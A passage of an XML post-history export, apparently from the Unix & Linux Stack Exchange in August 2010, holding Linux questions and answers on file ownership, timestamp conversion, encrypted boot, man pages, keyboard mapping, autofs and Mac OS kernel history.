  <row Id="1760" PostHistoryTypeId="5" PostId="944" RevisionGUID="dd96e8a8-b0cc-4e7b-bcc1-40d90f33acf3" CreationDate="2010-08-21T07:23:02.970" UserId="29" Comment="make sure to show owners" Text="I'd help you out but I no longer run gentoo so here's a faster way to find out than installing a VM. Download the latest tarball to a directory and extract it. mount proc and dev like you would for an install. chroot in and install whatever server daemons you've installed, you probably need to start them too. now run.&#xD;&#xA;&#xD;&#xA;    find /var ! -user root -ls&#xD;&#xA;&#xD;&#xA;this should list all the files not owned by the root user.&#xD;&#xA;&#xD;&#xA;*If someone else has a gentoo system they could help him by just running this command*&#xD;&#xA;&#xD;&#xA;Here's a short list from my system (which is *Arch Linux* so distance will vary ) which might help out.&#xD;&#xA;&#xD;&#xA;    find /var -maxdepth 2 ! -user root -ls | sed -e 's/^/    &amp;/'                        slave-iv&#xD;&#xA;    262147    4 drwx------   2 named    named        4096 Jul 22 15:49 /var/named&#xD;&#xA;    262151    4 -rw-------   1 named    named         234 Jul 22 15:49 /var/named/127.0.0.zone&#xD;&#xA;    262148    4 -rw-------   1 named    named        2938 Jul 22 15:49 /var/named/root.hint&#xD;&#xA;    262385    4 -rw-------   1 named    named         190 Jul 22 15:49 /var/named/localhost.zone&#xD;&#xA;    526002    4 drwx------   6 griff    users        4096 Aug  1 18:16 /var/tmp/kdecache-griff&#xD;&#xA;    529617    4 drwx------   3 kdm      kdm          4096 Aug 11 18:30 /var/tmp/kdecache-kdm&#xD;&#xA;    526893    4 drwx------   8 xenoterracide users        4096 Aug 20 10:37 /var/tmp/kdecache-xenoterracide&#xD;&#xA;    524523    4 drwxrwx--T   2 daemon   daemon       4096 Feb  4  2010 /var/spool/atd&#xD;&#xA;    529085    0 -rw-r--r--   1 named    named           0 Aug 15 03:21 /var/log/named.log&#xD;&#xA;    529330   16 -rw-r--r--   1 postgres root        14907 Aug 20 08:51 /var/log/postgresql.log&#xD;&#xA;    525625    0 -rw-r--r--   1 named    named           0 Aug  8 03:19 /var/log/named.log.1&#xD;&#xA;    524820    0 -rw-r--r--   1 named    named           0 Jul 18 03:19 /var/log/named.log.4&#xD;&#xA;    529165    0 -rw-r--r--   1 named    named           0 Jul 25 03:19 /var/log/named.log.3&#xD;&#xA;    525956    0 -rw-r--r--   1 named    named           0 Aug  1 03:19 /var/log/named.log.2&#xD;&#xA;    524864    4 drwx------   4 mysql    mysql        4096 Jun  1 01:10 /var/lib/mysql&#xD;&#xA;    524319    4 drwxr-xr-x   2 named    named        4096 Aug 19 01:04 /var/run/named&#xD;&#xA;    524309    4 drwxr-xr-x   2 dbus     dbus         4096 Aug 19 01:04 /var/run/dbus&#xD;&#xA;    524436    4 drwxr-xr-x   4 hal      hal          4096 Jun 10 17:47 /var/run/hald&#xD;&#xA;" />
  <row Id="1761" PostHistoryTypeId="2" PostId="947" RevisionGUID="12a4086d-e38b-4a47-a607-825119736c19" CreationDate="2010-08-21T07:23:40.893" UserId="665" Text="well it's basicaly about kind of packets they deal with (apt - deb; yum - rpm; pacman - tar.gz) where these packaging systems are a bit different themselves... then there's the question of how good they deal with dependencies (pretty important)... and of course - options they provide and how they can present the data about packages being installed... I would say these would be some of the major differences..." />
  <row Id="1762" PostHistoryTypeId="2" PostId="948" RevisionGUID="a3ce2a98-294a-4217-995f-e4dfeabb6662" CreationDate="2010-08-21T07:26:21.217" UserId="601" Text="On Mac OS X and BSD:&#xD;&#xA;&#xD;&#xA;    $ date -r 1282368345&#xD;&#xA;    Sat Aug 21 07:25:45 CEST 2010&#xD;&#xA;    $ date -r 1282368345 +%Y-%m-%d&#xD;&#xA;    2010-08-21&#xD;&#xA;&#xD;&#xA;with GNU core tools (you have to dig through the info file for that):&#xD;&#xA;&#xD;&#xA;    $ date -d @1282368345&#xD;&#xA;    Sat Aug 21 07:25:45 CEST 2010&#xD;&#xA;    $ date -d @1282368345 --rfc-3339=date&#xD;&#xA;    2010-08-21&#xD;&#xA;" />
  <row Id="1763" PostHistoryTypeId="2" PostId="949" RevisionGUID="a724ed78-24c4-4072-8a40-e04f8718d550" CreationDate="2010-08-21T07:31:34.387" UserId="1036" Text="Note: the .h file doesn't *define* the function.  It's *declared* in that .h file and defined (implemented) elsewhere.  This allows the compiler to include information about the function's signature (prototype) to allow type checking of arguments  and match the return types to any calling contexts in your code.&#xD;&#xA;&#xD;&#xA;In general .h (header) files in C are used to declare functions and define macros.&#xD;&#xA;&#xD;&#xA;`mkdir` in particular is a system call.  There may be a GNU *libc* wrapper around that system call (almost certainly is, in fact).  The true kernel implementation of `mkdir` can be found by searching the kernel sources and the system calls in particular.&#xD;&#xA;&#xD;&#xA;Note that there will also be an implementation of some sort of directory creation code for each filesystem.  The VFS (virtual filesystem) layer provides a common API which the system call layer can call into.  Every filesystem must register functions for the VFS layer to call into.  This allows different filesystems to implement their one semantics for how directories are structured (for example if they are stored using some sort of hashing scheme to make searching for specific entries more efficient).  I mention this because you're likely to trip over these filesystem specific directory creation functions if you're searching the Linux kernel source tree." />
  <row Id="1764" PostHistoryTypeId="6" PostId="945" RevisionGUID="3e44995f-75bd-4856-9b19-fd45303d97d0" CreationDate="2010-08-21T07:31:50.440" UserId="29" Comment="edited tags" Text="ékernelàéembeddedàéarmà" />
  <row Id="1765" PostHistoryTypeId="6" PostId="945" RevisionGUID="64c389cc-f93d-44b2-b46b-37beee09a67b" CreationDate="2010-08-21T07:32:59.487" UserId="29" Comment="edited tags" Text="ékernelàéembeddedàéarmàéhardwareà" />
  <row Id="1766" PostHistoryTypeId="6" PostId="945" RevisionGUID="33084620-c6d7-4452-bdc9-39c35b28ff53" CreationDate="2010-08-21T07:39:14.450" UserId="29" Comment="edited tags" Text="élinuxàékernelàéembeddedàéarmàéhardwareà" />
  <row Id="1767" PostHistoryTypeId="6" PostId="615" RevisionGUID="94c24fb0-fe89-4511-a498-48e3e162567d" CreationDate="2010-08-21T07:40:05.260" UserId="29" Comment="tagging with security" Text="éshellàésecurityàéusersàéxorgàéadministrationà" />
  <row Id="1768" PostHistoryTypeId="6" PostId="11" RevisionGUID="ed022f40-b5cc-41c8-bd59-de936163ed99" CreationDate="2010-08-21T08:14:30.853" UserId="29" Comment="edited tags" Text="élinuxàékernelàéperformanceàéswappingàédesktopà" />
  <row Id="1769" PostHistoryTypeId="5" PostId="940" RevisionGUID="1d72523a-02b4-4eb6-aac2-bf490c280e3b" CreationDate="2010-08-21T08:20:20.687" UserId="595" Comment="I was off by one-second" Text="Hi, &#xD;&#xA;&#xD;&#xA;I have a UNIX timestamp and I'd like to get a formatted date (like the output of `date`) corresponding to that timestamp.&#xD;&#xA;&#xD;&#xA;My attempts so far:&#xD;&#xA;&#xD;&#xA;    umang@ancient:~$ date +%s&#xD;&#xA;    1282367908&#xD;&#xA;    umang@ancient:~$ date -d 1282367908&#xD;&#xA;    date: invalid date `1282367908'&#xD;&#xA;    umang@ancient:~$ date -d +1282367908&#xD;&#xA;    date: invalid date `+1282367908'&#xD;&#xA;    umang@ancient:~$ date +%s -d +1282367908&#xD;&#xA;    date: invalid date `+1282367908'&#xD;&#xA;&#xD;&#xA;I'd like to be able to get output like:&#xD;&#xA;&#xD;&#xA;    umang@ancient:~$ TZ=UTC somecommand 1282368345&#xD;&#xA;    Sat Aug 21 05:25:45 UTC 2010&#xD;&#xA;&#xD;&#xA;TIA" />
  <row Id="1770" PostHistoryTypeId="2" PostId="950" RevisionGUID="eaf3e855-eecd-4bbc-bbb0-a702e5f1d323" CreationDate="2010-08-21T08:41:28.350" UserId="210" Text="I have a fairly standard disk encryption setup in Debian 5.0.5: unencrypted `/boot` partition, and encrypted `sdaX_crypt` that contains all other partitions.&#xD;&#xA;&#xD;&#xA;Now, this is a headless server installation and I want to be able to boot it without a keyboard (right now I can boot it only with a keyboard and a monitor attached).&#xD;&#xA;&#xD;&#xA;So far I have an idea of moving `/boot` partition to an USB drive and make slight modifications to auto-enter the key (I think there is just a call to `askpass` in the boot script somewhere). This way I can boot headless, just need to have a flash drive in at boot time.&#xD;&#xA;&#xD;&#xA;As I see it, the problem with it is that&#xD;&#xA;&#xD;&#xA;1. I need to invest time into figuring out all bits and pieces to make it work,&#xD;&#xA;2. If there is an update, which regenerates `initrd`, I need to regenerate the boot partition on the USB, which seems tedious.&#xD;&#xA;&#xD;&#xA;The question: is there a standard low-upkeep solution available for what I want to do? Or should I be looking elsewhere altogether?" />
  <row Id="1771" PostHistoryTypeId="1" PostId="950" RevisionGUID="eaf3e855-eecd-4bbc-bbb0-a702e5f1d323" CreationDate="2010-08-21T08:41:28.350" UserId="210" Text="Full disk encryption with password-less authentication in Linux" />
  <row Id="1772" PostHistoryTypeId="3" PostId="950" RevisionGUID="eaf3e855-eecd-4bbc-bbb0-a702e5f1d323" CreationDate="2010-08-21T08:41:28.350" UserId="210" Text="élinuxàédebianàéencryptionà" />
  <row Id="1773" PostHistoryTypeId="2" PostId="951" RevisionGUID="65be81f9-7d86-4b06-b648-92556e071440" CreationDate="2010-08-21T09:22:23.713" UserId="57" Text="Suppose you are reading some man page.&#xD;&#xA;&#xD;&#xA;e.g. &#xD;&#xA;I was reading setuid man page today. Tt says  &#xD;&#xA;&#xD;&#xA;`If the effective UID of the caller is root, the real UID and saved set-user-ID are also set.`&#xD;&#xA;&#xD;&#xA;I don't know what set-user-ID is.  &#xD;&#xA;How can I get more information about it if I don't have internet connection?  &#xD;&#xA;One thing I can do open some books and search for it.  &#xD;&#xA;What other places on my Linux system where I can search for more information?  &#xD;&#xA;I hope I make my point clear." />
  <row Id="1774" PostHistoryTypeId="1" PostId="951" RevisionGUID="65be81f9-7d86-4b06-b648-92556e071440" CreationDate="2010-08-21T09:22:23.713" UserId="57" Text="Where to search if I dont have internet ?" />
  <row Id="1775" PostHistoryTypeId="3" PostId="951" RevisionGUID="65be81f9-7d86-4b06-b648-92556e071440" CreationDate="2010-08-21T09:22:23.713" UserId="57" Text="élinuxà" />
  <row Id="1776" PostHistoryTypeId="16" PostId="951" RevisionGUID="65be81f9-7d86-4b06-b648-92556e071440" CreationDate="2010-08-21T09:22:23.713" UserId="57" />
  <row Id="1777" PostHistoryTypeId="2" PostId="952" RevisionGUID="10c4cde4-ff12-4ded-9e1a-85df29ff98b8" CreationDate="2010-08-21T09:42:47.090" UserId="29" Text="use `apropos` &#xD;&#xA;&#xD;&#xA;    apropos - search the manual page names and descriptions&#xD;&#xA;&#xD;&#xA;try `apropos 'set user id' ` for an example" />
  <row Id="1778" PostHistoryTypeId="16" PostId="952" RevisionGUID="10c4cde4-ff12-4ded-9e1a-85df29ff98b8" CreationDate="2010-08-21T09:42:47.090" UserId="-1" />
  <row Id="1779" PostHistoryTypeId="2" PostId="953" RevisionGUID="20728890-44a9-4edb-b62a-1ee2ddd4e7ba" CreationDate="2010-08-21T09:52:44.680" UserId="653" Text="Hello,&#xD;&#xA;in KDE, when I plug a USB storage device, I see a nautilus window automatically open, and I'm obliged to use nautilus if I want to umount it properly Dolphin gives the following error: org.freedesktop.Hal.Device.Volume.NotMountedByHal: Device to unmount is not in /media/.hal-mtab so it is not mounted by HAL.&#xD;&#xA;How can I specify that when I use KDE, I want HAL to handle usb storage automatic mounting ? I don't know what gnome-mechanism automatically mounts usb devices, but I guess I'll have to disable it too?" />
  <row Id="1780" PostHistoryTypeId="1" PostId="953" RevisionGUID="20728890-44a9-4edb-b62a-1ee2ddd4e7ba" CreationDate="2010-08-21T09:52:44.680" UserId="653" Text="How do I prevent gnome to mound my usb device when I'm using KDE?" />
  <row Id="1781" PostHistoryTypeId="3" PostId="953" RevisionGUID="20728890-44a9-4edb-b62a-1ee2ddd4e7ba" CreationDate="2010-08-21T09:52:44.680" UserId="653" Text="égnomeàékdeàéusbà" />
  <row Id="1782" PostHistoryTypeId="5" PostId="953" RevisionGUID="072a90a3-aabc-4e85-8b4c-c304761e5b95" CreationDate="2010-08-21T09:58:49.977" UserId="653" Comment="improved formatting" Text="Hello,&#xD;&#xA;in KDE, when I plug a USB storage device, I see a nautilus window automatically open, and I'm obliged to use nautilus if I want to umount it properly Dolphin gives the following error: &#xD;&#xA;&#xD;&#xA;&gt; org.freedesktop.Hal.Device.Volume.NotMountedByHal:&#xD;&#xA;&gt; Device to unmount is not in&#xD;&#xA;&gt; /media/.hal-mtab so it is not mounted&#xD;&#xA;&gt; by HAL.&#xD;&#xA;&#xD;&#xA;How can I specify that when I use KDE, I want HAL to handle usb storage automatic mounting ? I don't know what gnome-mechanism automatically mounts usb devices, but I guess I'll have to disable it too?&#xD;&#xA;I'm using fedora 13." />
  <row Id="1783" PostHistoryTypeId="6" PostId="953" RevisionGUID="072a90a3-aabc-4e85-8b4c-c304761e5b95" CreationDate="2010-08-21T09:58:49.977" UserId="653" Comment="improved formatting" Text="éfedoraàégnomeàékdeàéusbà" />
  <row Id="1784" PostHistoryTypeId="2" PostId="954" RevisionGUID="16c59f01-cb7b-4f27-8103-36a0c09a8cba" CreationDate="2010-08-21T10:10:04.413" UserId="210" Text="I have always had trouble with understanding the way keyboard mapping and related things are put together in Linux.&#xD;&#xA;&#xD;&#xA;When things break, it makes my blood boil if I have to sift through endless outdated mailing list and forum posts to find *THAT* one command or inputrc line that fixes my problem.&#xD;&#xA;&#xD;&#xA;There are classic problems like backspace not working in vim, or `Ctrl` + arrows in bash until you switch terminal type. Or a problem I've encountered recently, where in fresh Debian install `@` key actually prints `&quot;`, and `&quot;` prints `@` (wrong keyboard layout?)&#xD;&#xA;&#xD;&#xA;Just looking at files and tools doesn't help too much. inputrc? xmodmap? setxkbmap? console-setup? Where do I get started to actually *understand* how it works so I don't have to resort to trying someone's dubious commands to fix my keyboard problems?" />
  <row Id="1785" PostHistoryTypeId="1" PostId="954" RevisionGUID="16c59f01-cb7b-4f27-8103-36a0c09a8cba" CreationDate="2010-08-21T10:10:04.413" UserId="210" Text="How does keyboard mapping work in Linux?" />
  <row Id="1786" PostHistoryTypeId="3" PostId="954" RevisionGUID="16c59f01-cb7b-4f27-8103-36a0c09a8cba" CreationDate="2010-08-21T10:10:04.413" UserId="210" Text="élinuxàékeyboardà" />
  <row Id="1787" PostHistoryTypeId="2" PostId="955" RevisionGUID="5722c198-a492-4d4e-a75e-b52c05ad9d5f" CreationDate="2010-08-21T10:16:53.440" UserId="102" Text="You can setup your system to require a key instead of a password and change some scripts to search for this key on a USB stick. I found a [detailed explanation][1] for this process on Debian Lenny. There are some notes in the end that describe necessary changes for newer versions of Debian.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wejn.org/how-to-make-passwordless-cryptsetup.html" />
  <row Id="1788" PostHistoryTypeId="4" PostId="953" RevisionGUID="8c618fac-6ed1-4604-a5c2-b3311f05ee1f" CreationDate="2010-08-21T10:39:36.050" UserId="653" Comment="title spelling" Text="How do I prevent gnome to mount my usb device when I'm using KDE?" />
  <row Id="1789" PostHistoryTypeId="2" PostId="956" RevisionGUID="84d95bde-925a-4f72-8dc2-d10f0be0f31c" CreationDate="2010-08-21T11:10:38.737" UserId="111" Text="apropos is also spelled 'man -k'" />
  <row Id="1790" PostHistoryTypeId="16" PostId="956" RevisionGUID="84d95bde-925a-4f72-8dc2-d10f0be0f31c" CreationDate="2010-08-21T11:10:38.737" UserId="-1" />
  <row Id="1791" PostHistoryTypeId="2" PostId="957" RevisionGUID="5f77aaad-3c6f-460c-b5ad-9eb0193646bf" CreationDate="2010-08-21T11:12:10.027" UserId="1043" Text="I have a NAT drive, that is accessible via SMB. I have an entry in fstab to mount it at boot.&#xD;&#xA;But if the drive is not switched on it is not mounted during boot and I have to manually mount later.&#xD;&#xA;(The NAT boots a lot slower than my PC and usually is not up at the point PC tries to mount it).&#xD;&#xA;&#xD;&#xA;Is there a way to automatically mount the drive when it becomes available in the network?&#xD;&#xA;Preferably if it can be done via command line tools, not involving GUI programs.&#xD;&#xA;&#xD;&#xA;Using PCLinuxOS with KDE." />
  <row Id="1792" PostHistoryTypeId="1" PostId="957" RevisionGUID="5f77aaad-3c6f-460c-b5ad-9eb0193646bf" CreationDate="2010-08-21T11:12:10.027" UserId="1043" Text="Automatically mount network drive when available." />
  <row Id="1793" PostHistoryTypeId="3" PostId="957" RevisionGUID="5f77aaad-3c6f-460c-b5ad-9eb0193646bf" CreationDate="2010-08-21T11:12:10.027" UserId="1043" Text="énetworkingà" />
  <row Id="1794" PostHistoryTypeId="2" PostId="958" RevisionGUID="1aa0a93c-74d4-4410-b230-f6320a390eee" CreationDate="2010-08-21T11:36:51.670" UserId="412" Text="This is much more complicated than it should be, but here's my stab at it.&#xD;&#xA;&#xD;&#xA;At the most basic level, the kernel knows how to recognize keyboard devices and it understands the concept of a [console keymap][1]. This is the simplest way to configure your keyboard, and there's only one variable to consider, but these settings only affect your keyboard input on the Linux text console.&#xD;&#xA;&#xD;&#xA;Once you get into Xorg, things get a bit more complicated, but it does actually make a kind of sense. Xorg has several specific notions which are very important to understand.&#xD;&#xA;&#xD;&#xA; * Xorg talks directly to the keyboard device, bypassing the kernel and ignoring the keymap specified on the console.&#xD;&#xA; * Xorg allows you to set some specific options for your keyboard in the xorg.conf file, although current Linux distributions try their best to run without any xorg.conf file at all. Depending on your version of Xorg, you may need to specify your XkbLayout inside of an `InputClass` section (for newer versions of Xorg) or an `InputDevice` section (for older releases).&#xD;&#xA; * There are several specific layers of interpretation in Xorg when a key is pressed.&#xD;&#xA;  1. At the most basic level, each keypress event is represented by a numeric keycode.&#xD;&#xA;  2. The XkbModel combined with the XkbLayout are used to associate a given keycode with an actual key event. For example, on my keyboard, keycode 50 generates `Shift_L`.&#xD;&#xA;  3. You can optionally specify multiple XkbLayouts for a keyboard, and then use the `XkbOptions` (full list usually stored in `/usr/share/X11/xkb/rules`) to configure how to switch layouts. (This is useful if, say, you're trying to teach yourself Dvorak, or you want to alternate between English and Russian keyboard layouts).&#xD;&#xA;  4. Each keycode can be interpreted in multiple ways, depending on which modifiers are being held. `xmodmap` lets you see what key events will be sent based on which modifiers are being held. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfromscratch.org/lfs/view/6.2/chapter07/console.html&#xD;&#xA;  [2]: http://wiki.archlinux.org/index.php/Xorg#Keyboard_settings" />
  <row Id="1795" PostHistoryTypeId="2" PostId="959" RevisionGUID="fda00e30-9907-41bc-89b4-ee41f1a4a527" CreationDate="2010-08-21T12:32:48.453" UserId="195" Text="What you're looking for is AutoFS. Install the RPM, then make sure that it's running at start(RH/etc: `chkconfig autofs on`). Edit the file /etc/auto.master and add the following line: `/media/ /etc/auto.media`. If I were you, I would change &quot;media&quot; in both places to be the name of your root-level directory. Then edit the file /etc/auto.media and add `finaldirname mount-options \\192.168.1.3\sharename`&#xD;&#xA;&#xD;&#xA;A quick google gives &lt;a href=&quot;http://pclosmag.com/html/Issues/200802/page03.html&quot;&gt;this&lt;/a&gt; page." />
  <row Id="1800" PostHistoryTypeId="4" PostId="838" RevisionGUID="ded5ae39-8264-4247-873c-5411db40dc9f" CreationDate="2010-08-21T14:36:54.723" UserId="753" Comment="Fix typo in title" Text="Weekly cron job to save list of installed packages" />
  <row Id="1801" PostHistoryTypeId="5" PostId="256" RevisionGUID="53bdcdea-a073-42af-897d-056212d29580" CreationDate="2010-08-21T15:27:45.627" UserId="184" Comment="added 65 characters in body" Text="I see some people make separate Partition for /boot!&#xD;&#xA;what is the benefit of this?&#xD;&#xA;&#xD;&#xA;what problem may be I encounter in future by doing this?&#xD;&#xA;&#xD;&#xA;P.S: except /home and /boot which partition can be separated?&#xD;&#xA;" />
  <row Id="1802" PostHistoryTypeId="5" PostId="951" RevisionGUID="b679c93a-211c-4050-a217-7680b721e809" CreationDate="2010-08-21T15:58:55.280" UserId="250" Comment="reformat the question" Text="For example, I was reading setuid man page today. It says&#xD;&#xA;&#xD;&#xA;&gt;If the effective UID of the caller is root, the real UID and saved set-user-ID are also set.&#xD;&#xA;&#xD;&#xA;I don't know what set-user-ID is. How can I get more information about it if I don't have internet connection?&#xD;&#xA;&#xD;&#xA;One thing I can do is to open some books and search for it.&#xD;&#xA;What other places on my Linux system where I can search for more information?&#xD;&#xA;&#xD;&#xA;I hope I make my point clear." />
  <row Id="1803" PostHistoryTypeId="4" PostId="951" RevisionGUID="b679c93a-211c-4050-a217-7680b721e809" CreationDate="2010-08-21T15:58:55.280" UserId="250" Comment="reformat the question" Text="Where to search for man-pages without internet?" />
  <row Id="1804" PostHistoryTypeId="6" PostId="951" RevisionGUID="b679c93a-211c-4050-a217-7680b721e809" CreationDate="2010-08-21T15:58:55.280" UserId="250" Comment="reformat the question" Text="élinuxàémanà" />
  <row Id="1805" PostHistoryTypeId="2" PostId="961" RevisionGUID="c81a2874-f9e7-4df3-b933-61fb888564c6" CreationDate="2010-08-21T16:16:53.487" UserId="653" Text="It seems that I have solved my problem. I tried to launch nautilus in konsole and it crashed with the same message I put in my comment. Then I launched nautilus using krunner and this time, it worked, and I could eject the usb device. Now the solution to the problem is to configure auto-mounting in KDE (I did it via the New device notification applet). Once auto mounting authorized in KDE, it seems to take priority over gnome, and you can handle devices from dolphin." />
  <row Id="1806" PostHistoryTypeId="5" PostId="713" RevisionGUID="9fe77f98-de57-4daa-b29f-34cc5cb88def" CreationDate="2010-08-21T16:31:49.240" UserId="228" Comment="added 104 characters in body" Text="The history of MacOS is a little bit more convoluted.   I was very interested in this in the late 90's as Mach had been pitched around the world as a faster way of building a Unix system.&#xD;&#xA;&#xD;&#xA;The origin of the kernel is a bit more complicated.&#xD;&#xA;&#xD;&#xA;It all starts with AT&amp;T distributing their operating system to some universities for free.   This Unix was improved extensively at Berkeley and became the foundation for the BSD variations of Unix and incorporated several new innovations like the &quot;Fast File System&quot; (UFS), introduced symlinks and the sockets API.   AT&amp;T went on their own way and built System V at the same time.&#xD;&#xA;&#xD;&#xA;Meanwhile, research continued and some folks adopted the work from BSD as a foundation.    At CMU, the BSD kernel was used as the foundation for prototyping a few new ideas: threads, an API to control the virtual memory system (through pluggable &quot;pagers&quot; - user level mmap), a kernel-level remote procedure call system and most importantly the idea of moving some kernel level operations to user space.   This became the Mach kernel.&#xD;&#xA;&#xD;&#xA;I am not 100% sure if mmap came from Mach, and later was adopted by BSD, or if Mach merely pioneered the idea and BSD added their own mmap based on the ideas of Mach.&#xD;&#xA;&#xD;&#xA;Although the Mach kernel was described as a micro-kernel, up to version 2.5 it was merely a system that provided the thread, mmap, message passing features but remained a monolithic kernel, all the services were running on kernel mode.&#xD;&#xA;&#xD;&#xA;At this time Rick Rashid (now at Microsoft) and Avie Tevanian (now at Apple) had come up with a novel idea that could accelerate Unix.   The idea was to use the mmap system call to pass data to be copied from user space to the &quot;servers&quot; implementing the file system.   This idea was essentially a variation of trying to avoid making copies of the same data, but it was pitched as a benefit of micro kernels, even if the feature could be isolated from a micro kernel.&#xD;&#xA;&#xD;&#xA;The benchmarks of this VM-backed faster Unix system is what drove people at Next and at the FSF to pick Mach as the foundation for their kernels.&#xD;&#xA;&#xD;&#xA;Next went with the Mach 2.5 kernel (which was based on either BSD 4.2 or 4.3) and GNU would not actually start on the work for years.   This is what the Nextstep operating systems were using.&#xD;&#xA;&#xD;&#xA;Meanwhile at CMU, work continued on Mach and they finally realized the vision of having multiple servers running on top of a micro kernel with version 3.0.   I am not aware of anyone in the wild being able to run Mach 3.0 as all of the interesting user-level servers used AT&amp;T code so they were considered encumbered, so it remained a research product.&#xD;&#xA;&#xD;&#xA;Around this time the Jolitz team had done a port of 4.3+ BSD to the 386 architecture and published their porting efforts on DrDobbs.   386BSD was not actively maintained and a group emerged to maintain and move 386BSD forward, the NetBSD team.    Internal fights within the NetBSD group caused the first split and FreeBSD was formed out of this.   NetBSD at the time wanted to focus on having a cross-platform BSD, and FreeBSD wanted to focus on having a Unix that did great on x86 platforms.     A little bit later, NetBSD split again due to some other disputes and this lead to the creation of OpenBSD.&#xD;&#xA;&#xD;&#xA;A fork of BSD 4.3 for x86 platforms went commercial with a company called BSDi, and various members of the original Berkeley team worked there and kept good relations with the BSD team at the University. &#xD;&#xA;&#xD;&#xA;AT&amp;T was not amused and started the AT&amp;T vs BSDi lawsuit, which was later expanded to sue the University as well.  The lawsuit was about BSDi using proprietary code from AT&amp;T that had not been rewritten by Berkeley.  This set back BSD compared to the up and coming Linux operating system.    &#xD;&#xA;&#xD;&#xA;Although things were not looking good for the defendants, at some point someone realized that SystemV had incorporated large chunks of BSD code under the BSD license and AT&amp;T had not fulfilled their obligations in the license.    A settlement was reached in which AT&amp;T would not have to pull their product from the market, and the University agreed to rip out any code that could still be based on AT&amp;T code. &#xD;&#xA;&#xD;&#xA;The university then released two versions of BSD 4.4 encumbered and 4.4 lite.   The encumbered version would boot and run, but contained AT&amp;T code.   The lite version did not contain any code from AT&amp;T but did not work.&#xD;&#xA;&#xD;&#xA;The various BSD efforts re-did their work on top of the new 4.4 lite release and had a booting system within months.&#xD;&#xA;&#xD;&#xA;Meanwhile, the Mach 3.0 micro kernel remained not very useful without any of the user-land servers.&#xD;&#xA;&#xD;&#xA;A student from a Scandinavian university (I believe, I might have this wrong) was the first one to create a full Mach 3.0 system with a complete OS based on the 4.4 lite release, I believe this was called &quot;Lites&quot;.   The system worked, but was slow.&#xD;&#xA;&#xD;&#xA;During the 1992-1996 and by now BSD already had an mmap() system call as well as most other Unix systems.   The &quot;micro kernel advantage&quot; that was not there, never really came to fruition.   Next still had a monolithic kernel.   The FSF was still trying to get Mach to build, and not wanting to touch the BSD code or contribute to any of the open source BSD efforts, they kept charging away at a poorly specified kernel vision and they were drowning on RPC protocols for their own kernel.    The micro kernel looked great on paper, but turned out to be over engineered and just made everything slower.&#xD;&#xA;&#xD;&#xA;At this point we also had the Linus vs Andy debate over micro-kernels vs monolithic kernels and the world started to realize that it was just impossible to add all of those extra cycles to a micro kernel and still come ahead of a well designed monolithic kernel. &#xD;&#xA;&#xD;&#xA;Apple had not yet acquired NextStep, but was also starting to look into Mach as a potential kernel for their future operating systems.   They hired the Open Software Foundation to port Linux to the Mach kernel, and this was done out of their Grenoble offices, I believe this was called &quot;mklinux&quot;.  &#xD;&#xA;&#xD;&#xA;When Apple bought Next what they had on their hands was a relatively old Unix foundation, a 4.2 or 4.3 based Unix and by now, not even free software ran well out of the box on those systems.   They hired Jordan Hubbard away from FreeBSD to upgrade their Unix stack.   His team was responsible for upgrading the user land, and it is not a surprise that the MacOS userland was upgraded to the latest versions available on BSD.  &#xD;&#xA;&#xD;&#xA;Apple did switch their Mach from 2.5 to 3.0 at some point, but decided to not go with the micro-kernel approach and instead kept everything in-process.   I have never been able to confirm if Apple used Lites, hired the scandinavian hacker, or if they adopted the 4.4 lite as their OS.  I suspect they did, but I had already moved on to Linux and had stopped tracking the BSD/Mach world.&#xD;&#xA;&#xD;&#xA;There was a rumor in the late 90's that Avie at Apple tried to hire Linus (who was already famous at this point) to work on his baby, but Linus chose to continue working on Linux. &#xD;&#xA;&#xD;&#xA;History aside, this page describes the userland and the Mach/Unix kernel:&#xD;&#xA;&#xD;&#xA;http://developer.apple.com/mac/library/documentation/Darwin/Conceptual/KernelProgramming/Architecture/Architecture.html#//apple_ref/doc/uid/TP30000905-CH1g-CACDAEDC&#xD;&#xA;&#xD;&#xA;I found this graphic of the history of OSX:&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/S9kI8.png" />
  <row Id="1807" PostHistoryTypeId="2" PostId="962" RevisionGUID="b48d52ac-4fa1-41ff-916a-eda1f9efa8a1" CreationDate="2010-08-21T16:34:33.247" UserId="105" Text="On Ubuntu 10.04 I experience choppy video playback.&#xD;&#xA;&#xD;&#xA;I am running Mplayer and have an Nvidia GeForce 9800 GTX+ video card. I have already installed the libvdpau1 library. I don't know if hardware acceleration is enabled on my video card or if it is supported.&#xD;&#xA;&#xD;&#xA;Can anyone provide suggestions on how to decrease the choppiness?&#xD;&#xA;&#xD;&#xA;Here is my xorg.conf file:&#xD;&#xA;&#xD;&#xA;    # nvidia-settings: X configuration file generated by nvidia-settings&#xD;&#xA;    # nvidia-settings:  version 1.0  (buildd@yellow)  Fri Apr  9 11:51:21 UTC 2010&#xD;&#xA;    &#xD;&#xA;    Section &quot;ServerLayout&quot;&#xD;&#xA;        Identifier     &quot;Layout0&quot;&#xD;&#xA;        Screen      0  &quot;Screen0&quot; 0 0&#xD;&#xA;        InputDevice    &quot;Keyboard0&quot; &quot;CoreKeyboard&quot;&#xD;&#xA;        InputDevice    &quot;Mouse0&quot; &quot;CorePointer&quot;&#xD;&#xA;        Option         &quot;Xinerama&quot; &quot;0&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Files&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;InputDevice&quot;&#xD;&#xA;        # generated from default&#xD;&#xA;        Identifier     &quot;Mouse0&quot;&#xD;&#xA;        Driver         &quot;mouse&quot;&#xD;&#xA;        Option         &quot;Protocol&quot; &quot;auto&quot;&#xD;&#xA;        Option         &quot;Device&quot; &quot;/dev/psaux&quot;&#xD;&#xA;        Option         &quot;Emulate3Buttons&quot; &quot;no&quot;&#xD;&#xA;        Option         &quot;ZAxisMapping&quot; &quot;4 5&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;InputDevice&quot;&#xD;&#xA;        # generated from default&#xD;&#xA;        Identifier     &quot;Keyboard0&quot;&#xD;&#xA;        Driver         &quot;kbd&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;        # HorizSync source: edid, VertRefresh source: edid&#xD;&#xA;        Identifier     &quot;Monitor0&quot;&#xD;&#xA;        VendorName     